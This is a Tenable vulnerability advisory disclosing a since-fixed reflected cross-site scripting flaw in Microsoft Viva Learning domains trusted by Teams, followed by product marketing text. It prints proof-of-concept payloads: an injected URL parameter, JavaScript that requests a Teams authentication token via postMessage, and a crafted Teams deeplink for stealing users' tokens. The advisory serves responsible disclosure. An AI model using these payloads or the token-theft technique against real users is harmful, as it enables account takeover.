Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Cross-Site Scripting in Multiple Microsoft Domains and Microsoft Teams

Medium

Synopsis

A reflected cross site scripting (XSS) vulnerability affected the parameters of /auth/start.html at the following domains:

  • learningclient-canary.teams.microsoft.com
  • web.vivalearn.microsoft.com
  • client.learningapp.microsoft.com

An XSS on these domains could lead to a number of impacts, the most serious of which could be achieved via client.learningapp.microsoft.com

As that domain is a trusted domain for the Viva Learning app in Microsoft Teams, an attacker could create a malicious link which could lead to the theft of a user's authentication tokens for a number of Microsoft services (including Teams). 

Proof of Concept:

Note: as the issue has been fixed, these XSS payloads will no longer trigger.

The simplest proof of concept would be triggering a simple alert box:

https://client.learningapp.microsoft.com/auth/start.html?provider=LiLHub&loginWebUrl=https://www.linkedin.com/&prompt=%22%2F%3E%3C%2Fform%3E%3Cform%20name%3D%22loginForm%22%2F%3E%3Cimg%20src=x%20onerror=alert(document.domain)%20/%3E

However, we could also craft a more complicated payload by instead running eval(atob("some_payload_in_base64")). For example, we could create one which executes the following:

if (typeof initOnNativeMessageProxy == 'function') {
    initOnNativeMessageProxy(function (event) {
        alert(JSON.stringify(event))
    });
    nativeInterface.framelessPostMessage('{ "id": "Tenable",
                                            "func": "authentication.getAuthToken", 
                                            "args": [[ "https://teams.microsoft.com" ]]}');
} else {
    function receiveMessage(event) {
        if (event.data.id == "Tenable" && event.data.origin != null) {
            alert(JSON.stringify(event.data))
        }
    }
    window.addEventListener("message", receiveMessage, false);
    top.postMessage({
        "id": "Tenable",
        "func": "authentication.getAuthToken",
        "args": [
            ["https://teams.microsoft.com"]
        ]
    }, "*");
}

This javascript, when run in the context of an iframe opened in Microsoft Teams, will use javascript postMessage() to get authentication token for teams.microsoft.com, and then pop an alert box containing the postMessage() response (though an attacker could just as easily send the token to a listener).

This would work in either the desktop client or the browser version of Teams (desktop clients making use of framelessPostMessage).

Combining this with the fact that client.learningapp.microsoft.com is a trusted domain for Viva Learning allows an attacker to craft a Microsoft Teams deeplink as follows :
 

https://teams.microsoft.com/_#/l/task/2e3a628d-6f54-4100-9e7a-f00bc3621a85?url=https://client.learningapp.microsoft.com/auth/start.html?provider=LiLHub&loginWebUrl=https://www.linkedin.com/&prompt="/></form><form name="loginForm"/><img src=x onerror=eval(atob("BASE64_Payload")) />

Where 2e3a628d-6f54-4100-9e7a-f00bc3621a85 corresponds to the Viva Learning App.

This link, when clicked within a Microsoft Teams chat would allow an attacker to steal the victims auth tokens.

Solution

Microsoft has corrected the issue in the affected domains. No user action is necessary.

Disclosure Timeline

25 October, 2022 - Issue reported to MSRC
26 October 2022 - Issue acknowledged
2 November 2022 - Tenable informs MSRC of Tenable disclosure policy (missed during initial report), setting 90 day disclosure date as 31 January 2023
12 December 2022 - Issue marked as Complete by MSRC
16 December 2022 - Tenable notes a workaround for the issue and that the ticket should be reopened
9 January 2023 - Tenable asks for an update to the case status
18 January 2023 - Tenable notes a new, simpler payload allowing for wider impact
24 January 2023 - Tenable opens a new case to try to ensure issue is addressed prior to disclosure date
24 January 2023 - MSRC confirms workaround
26 January 2023 - MSRC notes a fix is underway
1 February 2023 - Issue confirmed as fixed by MSRC

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2023-6
Credit:
Evan Grant
CVSSv3 Base / Temporal Score:
6.1
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected Products:
Microsoft Teams
Risk Factor:
Medium

Advisory Timeline

1 February 2023 - Advisory Published

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training